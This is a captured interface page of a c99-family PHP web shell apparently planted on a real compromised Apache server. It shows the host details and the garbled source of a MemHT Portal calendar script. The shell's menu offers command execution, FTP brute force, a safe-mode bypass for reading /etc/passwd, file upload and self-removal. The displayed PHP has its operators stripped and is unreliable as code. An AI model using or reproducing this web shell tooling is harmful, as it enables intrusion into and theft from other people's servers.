!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/pages/calendar/   drwxr-xr-x
Free 40.49 GB of 127.8 GB (31.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (13.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/***********************************************************************
    - MemHT Portal -
                        
    Copyright (c) 2007 by Miltenovik Manojlo
    http://www.memht.com
    
    License: 
    Creative Commons Attribution-ShareAlike 3.0 License
    http://creativecommons.org/licenses/by-sa/3.0/
    
***********************************************************************/

$op = (isset($_GET['op'])) ? inCode($_GET['op']) : "" ;
$id = (isset($_GET['id'])) ? intval($_GET['id']) : ;
$ok = (isset($_GET['ok'])) ? inCode($_GET['ok']) : false ;
$pg = (isset($_GET['pg'])) ? intval($_GET['pg']) : ;

$year = (isset($_REQUEST['year'])) ? intval($_REQUEST['year']) : ;
$month = (isset($_REQUEST['month'])) ? intval($_REQUEST['month']) : ;
$day = (isset($_REQUEST['day'])) ? intval($_REQUEST['day']) : ;

$date = (isset($_POST['date'])) ? inCode($_POST['date']) : "" ;
$title = (isset($_POST['title'])) ? inCode($_POST['title']) : "" ;
$text = (isset($_POST['text'])) ? inCode($_POST['text']) : "" ;
$operation = (isset($_POST['operation'])) ? inCode($_POST['operation']) : "" ;

$ofsppg 10//Items per page
$ofsbgn = ($pg*$ofsppg)-$ofsppg;

function 
showCalendar($year,$month) {
    global 
$dblink,$siteConfig,$tzNOW,$admin;
    
    if (
isAdmin($admin)) {
    echo 
"<div align='center' style='padding-bottom:4px;'><a href='index.php?page=calendar&op=newevent' title='"._NEWEVENT_."'><b>"._NEWEVENT_."</b></a></div>";
    }
    
    
?>
    <style type="text/css">
        .cal_uni { color:#333333; }
        .cal_sat { color:#FF9900; }
        .cal_sun { color:#FF6600; }
        .cal_now { color:#FFFFFF; font-weight:bold; background-color:#FF9900; }
        .cal_now a { color:#FFFFFF; }
        .cal_now a:visited { color:#FFFFFF;}
        .cal_evt { background-color:#DDDDDD; }
    </style>
    <?php
    
    $n_day 
date('j'); //Day
    
$n_month = ($month>0) ? intval($month) : date('n') ; //Month
    
$n_year = ($year>0) ? intval($year) : date('Y') ; //Year
    
    
$fdm_stamp mktime(0,0,0,$n_month,1,$n_year); //First day of the month stamp
    
$fdm_day date('w',$fdm_stamp); //Week number day of the first day of the month (1=Mon,2=Tue,3=Wed,4=Thu,5=Fri,6=Sat,0=Sun)
    
    
switch ($fdm_day) {
        case 
1$offset 0; break;
        case 
2$offset 1; break;
        case 
3$offset 2; break;
        case 
4$offset 3; break;
        case 
5$offset 4; break;
        case 
6$offset 5; break;
        case 
0$offset 6; break;
    }
    
    
$now_stamp mktime(0,0,0,$n_month,$n_day,$n_year); //Actual stamp
    
$days date('t',$now_stamp); //Days in this month
    
    
$prev_year = ($n_month==1) ? $n_year-$n_year ;
    
$next_year = ($n_month==12) ? $n_year+$n_year ;
    
$prev_month $n_month-1;
    if (
$prev_month<1) { $prev_month 12; }
    
$next_month $n_month+1;
    if (
$next_month>12) { $next_month 1; }
    
    echo 
"<table width='400' align='center' border='0' cellpadding='0' cellspacing='0'><tr><td>\n";
    echo 
"<table width='100%' border='0' cellpadding='0' cellspacing='0' class='box'><tr>\n";
        echo 
"<td width='1'><form name='prev' action='' method='post'><input type='image' src='images/left.gif'><input type='hidden' name='month' value='$prev_month'><input type='hidden' name='year' value='$prev_year'></form></td>\n";
        echo 
"<td align='center' style='font-size:200%;'><b>".numToMonth($n_month)." $n_year</b></td>\n";
        echo 
"<td width='1'><form name='next' action='' method='post'><input type='image' src='images/right.gif'><input type='hidden' name='month' value='$next_month'><input type='hidden' name='year' value='$next_year'></form></td>\n";
    echo 
"</tr></table>";
    echo 
"</td></tr></table>";

    echo 
"<table width='400' align='center' border='0' cellpadding='0' cellspacing='0'>\n";
        echo 
"<tr>\n";
            echo 
"<td align='center' width='14%' style='font-size:200%;'><b>".substr(_MON_,0,1)."</b></td>\n";
            echo 
"<td align='center' width='14%' style='font-size:200%;'><b>".substr(_TUE_,0,1)."</b></td>\n";
            echo 
"<td align='center' width='14%' style='font-size:200%;'><b>".substr(_WED_,0,1)."</b></td>\n";
            echo 
"<td align='center' width='14%' style='font-size:200%;'><b>".substr(_THU_,0,1)."</b></td>\n";
            echo 
"<td align='center' width='14%' style='font-size:200%;'><b>".substr(_FRI_,0,1)."</b></td>\n";
            echo 
"<td align='center' width='14%' style='font-size:200%;' class='cal_sat'><b>".substr(_SAT_,0,1)."</b></td>\n";
            echo 
"<td align='center' width='14%' style='font-size:200%;' class='cal_sun'><b>".substr(_SUN_,0,1)."</b></td>\n";
        echo 
"</tr>\n";
        
        for (
$i=1;$i<=$days;$i++) {
            
$w_stamp mktime(0,0,0,$n_month,$i,$n_year);
            
$w_day date('w',$w_stamp);
            
            if (
$w_day==1) { echo "<tr>\n"; }
            while (
$offset>0) {
                
$offset--;
                echo 
"<td>&nbsp;</td>\n";
            }
            switch (
$w_day) {
                case 
6$class "cal_sat"; break;
                case 
0$class "cal_sun"; break;
                default: 
$class "cal_uni"; break;
            }
            
$itxt $i;
            if (
$result $dblink->get_list("SELECT title FROM memht_calendar_events WHERE YEAR(date)=$n_year AND MONTH(date) = $n_month AND DAYOFMONTH(date) = $i")) {
                
$class "cal_evt";
                
$events "";
                foreach (
$result as $row) { $events .= "<div>".outCode($row['title'])."</div>"; }
                
$itxt "<a href='index.php?page=calendar&op=events&year=$n_year&month=$n_month&day=$i' title=\"header=[Events] body=[$events]\">$itxt</a>";
            }
            if (
$n_year==date('Y') AND $n_month==date('n') AND $i==$n_day) { $class "cal_now"; }
            echo 
"<td align='center' class='$class' style='font-size:200%; padding:4px 0;'>$itxt</td>\n";
            if (
$w_day==0) { echo "</tr>\n"; }
        }
    echo 
"</table>";
    if (
$result $dblink->get_list("SELECT * FROM memht_calendar_events WHERE date > $tzNOW ORDER BY date LIMIT 10")) {
    echo 
"<br>";
    echo 
"<div class='box'><b>"._NEXTEVENTS_."</b></div>";
        foreach (
$result as $row) {
            
$id intval($row['id']);
            
$date outCode($row['date']);
            
$title outCode($row['title'],0);
            
$author outCode($row['author']);
            
            
$cdate explode(" ",$date);
            
$cdate explode("-",$cdate[0]);
            
$cday $cdate[2];
            
$cmonth $cdate[1];
            
$cyear $cdate[0];
            
            echo 
"<div><img src='images/bullet_paper.gif' alt='bullet'> <a href='index.php?page=calendar&op=events&year=$cyear&month=$cmonth&day=$cday' title=\"$title\"><b>$title</b></a> <span id='info'>($cday/$cmonth/$cyear)</span></div>\n";
        }
    }
}

function 
showEvents($ofsbgn,$ofsppg,$pg,$year,$month,$day) {
    global 
$dblink,$siteConfig,$admin;
    
    if (
isAdmin($admin)) {
    echo 
"<div align='center' style='padding-bottom:4px;'><a href='index.php?page=calendar&op=newevent' title='"._NEWEVENT_."'><b>"._NEWEVENT_."</b></a></div>";
    }
    
    if (
$result $dblink->get_list("SELECT * FROM memht_calendar_events WHERE YEAR(date)=$year AND MONTH(date) = $month AND DAYOFMONTH(date) = $day ORDER BY id DESC LIMIT $ofsbgn,$ofsppg")) {
        foreach (
$result as $row) {
            
$id intval($row['id']);
            
$date outCode($row['date']);
            
$title outCode($row['title'],0);
            
$text censure(bb2html(outCode($row['text'],0)));
            
$author outCode($row['author']);
            
$ip outCode($row['ip']);
            
            
$info _BY_." <a href='index.php?page=users&op=userinfo&usert=$author' title='$author'>$author</a>";
            
$op = (isAdmin($admin)) ? " <a href='index.php?page=calendar&op=delete&id=$id' title='"._DELETE_."'>("._DELETE_.")</a>" "" ;
                        
            
$cdate explode(" ",$date);
            
$cdate explode("-",$cdate[0]);
            
$cday $cdate[2];
            
$cmonth numToMonth($cdate[1]);
            
$cyear $cdate[0];
            
            echo 
"<div class='box'>\n";
                echo 
"<table width='100%' border='0' cellpadding='0' cellspacing='0'>\n";
                    echo 
"<tr>\n";
                        echo 
"<td width='5%' style='padding-right:10px;' align='center' valign='top' nowrap>\n";
                            echo 
"<div style='font-size:200%;' valign='top'><b>$cday</b></div>";
                            echo 
"<div>$cmonth</div>";
                            echo 
"<div>$cyear</div>";
                        echo 
"</td>\n";
                        echo 
"<td width='95%' valign='top'><div><span style='padding-bottom:4px; font-size:140%;'><b>$title</b></span> <span id='info'>$info</span>$op</div><div>$text</div></td>\n";
                    echo 
"</tr>\n";
                echo 
"</table>\n";
            echo 
"</div>\n";
        }
    } else {
        echo 
"<div align='center' id='errorText' class='box'><b>"._EMPTY_."</b></div>\n";
    }
    
    
//Pages
    
$num $dblink->get_num("SELECT id FROM memht_calendar_events WHERE YEAR(date)=$year AND MONTH(date) = $month AND DAYOFMONTH(date) = $day");
    
$pages ceil($num/$ofsppg);
    if (
$pages>1) {
        echo 
"<table align='center'>\n";
        echo 
"<tr><td align='center' colspan='2' id='info'>";
        
$sxpg $pg-1;
        
$dxpg $pg+1;
        if (
$sxpg>0) { echo "<a href='index.php?page=calendar&year=$year&month=$month&day=$day&pg=$sxpg' title='"._PREVIOUS_PAGE_."'><img src='images/left.gif' border='0'></a> "; }
        for (
$pgs=1;$pgs<=$pages;$pgs++) {
            echo 
"<a href='index.php?page=calendar&year=$year&month=$month&day=$day&pg=$pgs' title='"._PAGE_." $pgs'>";
            echo (
$pg==$pgs) ? "<b>$pgs</b>" "$pgs" ;
            echo 
"</a> ";
        }
        if (
$dxpg<=$pages) { echo "<a href='index.php?page=calendar&year=$year&month=$month&day=$day&pg=$dxpg' title='"._NEXT_PAGE_."'><img src='images/right.gif' border='0'></a>"; }
            
        echo 
"</td></tr>";
        echo 
"</table>\n";
    }    
}

function 
newEvent($date,$title,$text,$operation) {
    global 
$dblink,$siteConfig,$visitorInfo,$tzNOW,$user,$admin;
    
    if (
isAdmin($admin)) {
        
$row $dblink->get_row("SELECT email FROM memht_utenti WHERE user='$user'");
        
$dbuser $user;
        
$dbemail outCode($row['email']);
    
        switch(
$operation) {
            case 
"add":
                @
session_start();
                if ((isset(
$_POST['post_code_page']) AND isset($_SESSION['chk_calendar']) AND strtolower($_POST['post_code_page'])==strtolower($_SESSION['chk_calendar'])) OR !(extension_loaded('gd') AND $siteConfig['graphic_check']==1)) {
                    
$save true;
                    if (!
eregi("^([0-9]{4}\-[0-9]{2}\-[0-9]{2})$",$date)) { $save false$msg "<b>"._EMPTY_."/"._SYNTAX_ERROR_."</b>: "._DATE_; }
                    if (
$title=="") { $save false$msg "<b>"._EMPTY_."</b>: "._TITLE_; }
                    if (
$text=="") { $save false$msg "<b>"._EMPTY_."</b>: "._TEXT_; }
                
                    if (
$save) {
                        
$dblink->query("INSERT INTO memht_calendar_events (id,date,title,text,author,ip)
                                        VALUES (null,'$date','$title','$text','$user','"
.$visitorInfo['ip']."')");
                        
                        
$date explode("-",$date);
                        
$year $date[0];
                        
$month $date[1];
                        
$day $date[2];                        
                        echo 
"<meta http-equiv='refresh' content='0;URL=index.php?page=calendar&op=events&year=$year&month=$month&day=$day'>";
                        
                    } else {
                        echo 
"<div align='center' id='errorText' class='box'><b>"._FIELDINVALID_."</b><br>$msg</div>";
                    }
                } else {
                    echo 
"<div align='center' id='errorText' class='box'><b>"._WRONGSECCODE_."</b></div>";
                }
            break;
        
            default:
                echo 
"<script type='text/javascript' src=\"inc/javascript/calendar/calendar.js\"></script>\n";
                
                echo 
"<table width='100%' align='center' cellspacing='0' cellpadding='1'>";
                echo 
"<form name='form' method='post' action='index.php?page=calendar&op=newevent'>";
                    echo 
"<tr><th width='20%'>"._DATE_."</th><td align='right'><input type='text' name='date' size='30' maxlength='255' onfocus=\"this.select();lcs(this)\" onclick=\"event.cancelBubble=true;this.select();lcs(this)\"></td></tr>\n";
                    echo 
"<tr><th>"._TITLE_."</th><td align='right'><input type='text' name='title' size='40' maxlength='255'></td></tr>\n";
                                    
                    echo 
"<tr><td valign='top'><b>"._TEXT_."</b></td><td valign='bottom' align='right'>";
                        
bbcodeToolbar('form','text');
                    echo 
"<textarea name='text' style='width:95%; height:200px;'></textarea></td></tr>\n";
                    
                    if (
extension_loaded('gd') AND $siteConfig['graphic_check']==1) {
                        echo 
"<tr><td></td><td align='right'><img src='imgCode.php?name=chk_calendar&nc=".md5(time()+rand())."' align='absbottom' title='header=["._SECURITY_CODE_."] body=["._SECURITY_CODE_TEXT_."]'></td></tr>\n";
                        echo 
"<tr><td align='right' colspan='2'><b>"._CODE_."</b> <input type='text' name='post_code_page' size='5' maxlength='255'> <input type='submit' name='Submit' value='"._ADD_."'></td></tr>\n";
                    } else {
                        echo 
"<tr><td align='right' colspan='2'><input type='submit' name='Submit' value='"._ADD_."'></td></tr>\n";
                    }
                    echo 
"<input type='hidden' name='operation' value='add'>";
                    
                    echo 
"<tr><td colspan='2' align='right'></td></tr>\n";
                echo 
"</form>\n";
                echo 
"</table>";
            break;
        }
    } else {
        echo 
"<div align='center' id='errorText'><img src='images/x.gif'><br><b>"._ACCESSDENIED_."</b></div>";
    }
}

function 
delete($id,$ok=false) {
    global 
$dblink,$admin;
    
    
$id intval($id);
    
    
$row $dblink->get_row("SELECT date FROM memht_calendar_events WHERE id='$id'");
    
$date explode(" ",outCode($row['date']));
    
$date explode("-",$date[0]);
    
$day $date[2];
    
$month $date[1];
    
$year $date[0];
    
    if (
isAdmin($admin)) {    
        if (
$ok) {
            
$dblink->query("DELETE FROM memht_calendar_events WHERE id='$id'");
            echo 
"<meta http-equiv='refresh' content='0;URL=index.php?page=calendar&op=events&year=$year&month=$month&day=$day'>";
        } else {
            echo 
"<div align='center'><b>"._SUREDELETE_."</b><br><a href='index.php?page=calendar&op=delete&id=$id&ok=true' title='"._YES_."'>"._YES_."</a> - <a href='index.php?page=calendar&op=events&year=$year&month=$month&day=$day' title='"._NO_."'>"._NO_."</a></div>";
        }
    } else {
            echo 
"<div align='center' id='errorText'><b>"._ACCESSDENIED_."</b></div>";
    }
}

global 
$tzNOW;
$dblink->query("DELETE FROM memht_calendar_events WHERE date < ($tzNOW - INTERVAL 30 DAY)");

$pagerow $dblink->get_row("SELECT fullscreen FROM memht_pagine WHERE nome='$page'");
$fullScreen intval($pagerow['fullscreen']);

require_once(
"inc/inc_header.php");
    if (
$page!="") { page_title($page); }
    
openTable();
    switch(
$op) {
        case 
"newevent":
            
newEvent($date,$title,$text,$operation);
        break;
    
        case 
"events":
            
showEvents($ofsbgn,$ofsppg,$pg,$year,$month,$day);
        break;
        
        case 
"delete":
            
delete($id,$ok);
        break;
        
        default:
            
showCalendar($year,$month);
        break;
    }
    
closeTable();
require_once(
"inc/inc_footer.php");

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.018 ]--